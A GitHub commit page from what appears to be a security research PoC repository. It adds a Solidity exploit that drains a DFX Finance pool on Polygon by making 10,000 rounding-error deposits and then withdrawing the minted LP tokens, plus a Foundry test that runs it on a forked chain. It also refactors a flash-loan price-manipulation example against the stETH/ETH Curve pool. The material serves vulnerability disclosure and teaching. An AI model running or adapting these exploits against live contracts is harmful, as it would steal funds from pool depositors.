Skip to content

Commit

Permalink
Merge pull request #20 from immunefi-team/dfx_finance_bugfix_poc
Browse files Browse the repository at this point in the history
Added DFX Finance bugfix review PoC
  • Loading branch information
janbro authored Jun 16, 2023
2 parents 5525839 + c32548a commit 6463381
Show file tree
Hide file tree
Showing 4 changed files with 211 additions and 5 deletions.
1 change: 1 addition & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -94,6 +94,7 @@ forge test -vv --match-path test/[test_name]
- [Hundred Finance Hack](https://medium.com/immunefi/a-poc-of-the-hundred-finance-heist-4121f23a098) by [@hephyrius](https://twitter.com/hephyrius)
- [Omni Protocol Hack](https://medium.com/immunefi/hack-analysis-omni-protocol-july-2022-2d35091a0109) by [@realgmhacker](https://twitter.com/realgmhacker)
- [Euler Exploit PoC](https://github.com/iphelix/euler-exploit-poc) by [@iphelix](https://twitter.com/_iphelix)
- [DFX Finance Bugfix Review](./pocs/DFXFinanceBugfixReview.sol) by [@unsafe_call](https://twitter.com/unsafe_call)

## Contribute 📝

Expand Down
180 changes: 180 additions & 0 deletions pocs/DFXFinanceBugfixReview.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,180 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "../src/tokens/Tokens.sol";

contract DFXFinanceBugfixReview is Tokens {
ICurve constant curve_pool = ICurve(0x2385D7aB31F5a470B1723675846cb074988531da);
IERC20 constant EURS = IERC20(0xE111178A87A3BFf0c8d18DECBa5798827539Ae99);

function initiateAttack() external {
console.log("\n>>> Initiate attack\n");

// Deal tokens to attacker
console.log("> Deal 100 EURS and 100 USDC to attacker");
deal(PolygonTokens.USDC, address(this), 100 * 1e6);
deal(EURS, address(this), 100 * 1e2);

uint256 attacker_euro_balance = EURS.balanceOf(address(this));
uint256 attacker_usdc_balance = PolygonTokens.USDC.balanceOf(address(this));

console.log("EURO balance of attacker:", attacker_euro_balance);
console.log("USDC balance of attacker:", attacker_usdc_balance);

uint256 curve_euro_balance = EURS.balanceOf(address(curve_pool));
uint256 curve_usdc_balance = PolygonTokens.USDC.balanceOf(address(curve_pool));

console.log("EURO balance of Curve pool:", curve_euro_balance);
console.log("USDC balance of Curve pool:", curve_usdc_balance);

// Execute attack multiple times to drain pool
_executeAttack();
}

function _executeAttack() internal {
console.log("\n>>> Execute attack\n");

// Approve curve pool to use funds
PolygonTokens.USDC.approve(address(curve_pool), PolygonTokens.USDC.balanceOf(address(this)));
// EURS approval is not needed since calculated amount to deposit is 0
// EURS.approve(address(curve_pool), EURS.balanceOf(address(this)));

uint256 deposit = 18003307228925150;
uint256 minQuoteAmount = 0;
uint256 minBaseAmount = 0;
uint256 maxQuoteAmount = 2852783032400000000000;
uint256 maxBaseAmount = 7992005633260983540235600000000;
uint256 deadline = 1676706352308;

// Deposit small amount in a loop 10,000 times to gain curve LP tokens without depositing EURS
// If gas price is 231 wei = 0.000000231651787155 => Gas = 161 matic
console.log("> Deposit small amount to curve pool 10,000 times");
for (uint256 i = 0; i < 10000; i++) {
curve_pool.deposit(deposit, minQuoteAmount, minBaseAmount, maxQuoteAmount, maxBaseAmount, deadline);
}

uint256 attacker_euro_balance = EURS.balanceOf(address(this));
uint256 attacker_usdc_balance = PolygonTokens.USDC.balanceOf(address(this));

console.log("EURO balance of attacker:", attacker_euro_balance);
console.log("USDC balance of attacker:", attacker_usdc_balance);

console.log("> Withdraw curve pool LP tokens");
uint256 curvesToBurn = curve_pool.balanceOf(address(this));
console.log("CURVE balance of attacker:", curvesToBurn);
// Withdraw curve LP tokens to receive proportion of liquidity in pool of EURS and USDC
curve_pool.withdraw(curvesToBurn, deadline);

_completeAttack();
}

function _completeAttack() internal {
console.log("\n>>> Attack complete\n");

uint256 attacker_euro_balance = EURS.balanceOf(address(this));
uint256 attacker_usdc_balance = PolygonTokens.USDC.balanceOf(address(this));

console.log("EURO balance of attacker:", attacker_euro_balance);
console.log("USDC balance of attacker:", attacker_usdc_balance);

uint256 curve_euro_balance = EURS.balanceOf(address(curve_pool));
uint256 curve_usdc_balance = PolygonTokens.USDC.balanceOf(address(curve_pool));

console.log("EURO balance of Curve pool:", curve_euro_balance);
console.log("USDC balance of Curve pool:", curve_usdc_balance);
}
}

interface ICurve {
event Approval(address indexed _owner, address indexed spender, uint256 value);
event AssetIncluded(address indexed numeraire, address indexed reserve, uint256 weight);
event AssimilatorIncluded(
address indexed derivative, address indexed numeraire, address indexed reserve, address assimilator
);
event EmergencyAlarm(bool isEmergency);
event Flash(address indexed from, address indexed to, uint256 value0, uint256 value1, uint256 paid0, uint256 paid1);
event FrozenSet(bool isFrozen);
event OwnershipTransfered(address indexed previousOwner, address indexed newOwner);
event ParametersSet(uint256 alpha, uint256 beta, uint256 delta, uint256 epsilon, uint256 lambda);
event PartitionRedeemed(address indexed token, address indexed redeemer, uint256 value);
event Trade(
address indexed trader,
address indexed origin,
address indexed target,
uint256 originAmount,
uint256 targetAmount,
int128 rawProtocolFee
);
event Transfer(address indexed from, address indexed to, uint256 value);

function allowance(address _owner, address _spender) external view returns (uint256 allowance_);
function approve(address _spender, uint256 _amount) external returns (bool success_);
function assimilator(address _derivative) external view returns (address assimilator_);
function balanceOf(address _account) external view returns (uint256 balance_);
function curve()
external
view
returns (int128 alpha, int128 beta, int128 delta, int128 epsilon, int128 lambda, uint256 totalSupply);
function decimals() external view returns (uint8);
function deposit(
uint256 _deposit,
uint256 _minQuoteAmount,
uint256 _minBaseAmount,
uint256 _maxQuoteAmount,
uint256 _maxBaseAmount,
uint256 _deadline
) external returns (uint256, uint256[] memory);
function derivatives(uint256) external view returns (address);
function emergency() external view returns (bool);
function emergencyWithdraw(uint256 _curvesToBurn, uint256 _deadline)
external
returns (uint256[] memory withdrawals_);
function excludeDerivative(address _derivative) external;
function flash(address recipient, uint256 amount0, uint256 amount1, bytes memory data) external;
function frozen() external view returns (bool);
function liquidity() external view returns (uint256 total_, uint256[] memory individual_);
function name() external view returns (string memory);
function numeraires(uint256) external view returns (address);
function originSwap(
address _origin,
address _target,
uint256 _originAmount,
uint256 _minTargetAmount,
uint256 _deadline
) external returns (uint256 targetAmount_);
function owner() external view returns (address);
function reserves(uint256) external view returns (address);
function setAssimilator(address _baseCurrency, address _baseAssim, address _quoteCurrency, address _quoteAssim)
external;
function setEmergency(bool _emergency) external;
function setFrozen(bool _toFreezeOrNotToFreeze) external;
function setParams(uint256 _alpha, uint256 _beta, uint256 _feeAtHalt, uint256 _epsilon, uint256 _lambda) external;
function supportsInterface(bytes4 _interface) external pure returns (bool supports_);
function symbol() external view returns (string memory);
function targetSwap(
address _origin,
address _target,
uint256 _maxOriginAmount,
uint256 _targetAmount,
uint256 _deadline
) external returns (uint256 originAmount_);
function totalSupply() external view returns (uint256 totalSupply_);
function transfer(address _recipient, uint256 _amount) external returns (bool success_);
function transferFrom(address _sender, address _recipient, uint256 _amount) external returns (bool success_);
function transferOwnership(address _newOwner) external;
function viewCurve()
external
view
returns (uint256 alpha_, uint256 beta_, uint256 delta_, uint256 epsilon_, uint256 lambda_);
function viewDeposit(uint256 _deposit) external view returns (uint256, uint256[] memory);
function viewOriginSwap(address _origin, address _target, uint256 _originAmount)
external
view
returns (uint256 targetAmount_);
function viewTargetSwap(address _origin, address _target, uint256 _targetAmount)
external
view
returns (uint256 originAmount_);
function viewWithdraw(uint256 _curvesToBurn) external view returns (uint256[] memory);
function withdraw(uint256 _curvesToBurn, uint256 _deadline) external returns (uint256[] memory withdrawals_);
}
16 changes: 11 additions & 5 deletions src/pricemanipulation/examples/PriceManipulationExample.sol
Original file line number Diff line number Diff line change
Expand Up @@ -14,25 +14,31 @@ contract PriceManipulationExample is PriceManipulation, FlashLoan, Tokens {
// stETH / ETH Curve pool
ICurvePool curvePool = ICurvePool(0xDC24316b9AE028F1497c275EB9192a3Ea0f67022);

uint256 flashLoanAmount = 40000e18;

function initiateAttack() external {
console.log("---------------------------------------------------------------------------");
console.log("Curve Virtual Price BEFORE:", curvePool.get_virtual_price());
// Deal ether to cover fees and losses
deal(EthereumTokens.WETH, address(this), 22.3 ether);
deal(EthereumTokens.NATIVE_ASSET, address(this), 3.5 ether);
takeFlashLoan(FlashLoanProviders.AAVEV3, EthereumTokens.WETH, 50000e18);
takeFlashLoan(FlashLoanProviders.AAVEV3, EthereumTokens.WETH, flashLoanAmount);
}

function _executeAttack() internal override(PriceManipulation, FlashLoan) {
if (currentFlashLoanProvider() == FlashLoanProviders.BALANCER) {
// Unwrap flash loaned wstETH to manipulate Curve pool
console.log("---------------------------------------------------------------------------");
IWrapped(address(EthereumTokens.wstETH)).unwrap(50000e18);
IWrapped(address(EthereumTokens.wstETH)).unwrap(flashLoanAmount);
console.log("ETH :", address(this).balance);
console.log("stETH :", EthereumTokens.stETH.balanceOf(address(this)));

manipulatePrice(
PriceManipulationProviders.CURVE, EthereumTokens.ETH, EthereumTokens.stETH, 50000e18, 50000e18
PriceManipulationProviders.CURVE,
EthereumTokens.ETH,
EthereumTokens.stETH,
flashLoanAmount,
flashLoanAmount
);

console.log("---------------------------------------------------------------------------");
Expand All @@ -44,10 +50,10 @@ contract PriceManipulationExample is PriceManipulation, FlashLoan, Tokens {
IWrapped(address(EthereumTokens.wstETH)).wrap(EthereumTokens.stETH.balanceOf(address(this)));
} else if (currentFlashLoanProvider() == FlashLoanProviders.AAVEV3) {
// Unwrap ether to use in price manipulation
IWrappedEther(address(EthereumTokens.WETH)).withdraw(50000e18);
IWrappedEther(address(EthereumTokens.WETH)).withdraw(flashLoanAmount);

// Borrow wstETH
takeFlashLoan(FlashLoanProviders.BALANCER, EthereumTokens.wstETH, 50000e18);
takeFlashLoan(FlashLoanProviders.BALANCER, EthereumTokens.wstETH, flashLoanAmount);

// Unrawp wstETH and swap stETH to Ether to pay back AAVEV3 loan
IWrapped(address(EthereumTokens.wstETH)).unwrap(EthereumTokens.wstETH.balanceOf(address(this)));
Expand Down
19 changes: 19 additions & 0 deletions test/pocs/DFXFinanceBugfixReview.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../../pocs/DFXFinanceBugfixReview.sol";

contract DFXFinanceBugfixReviewTest is Test {
DFXFinanceBugfixReview attackContract;

function setUp() public {
vm.createSelectFork("https://rpc.ankr.com/polygon", 42064500);

attackContract = new DFXFinanceBugfixReview();
}

function testAttack() public {
attackContract.initiateAttack();
}
}

0 comments on commit 6463381

Please sign in to comment.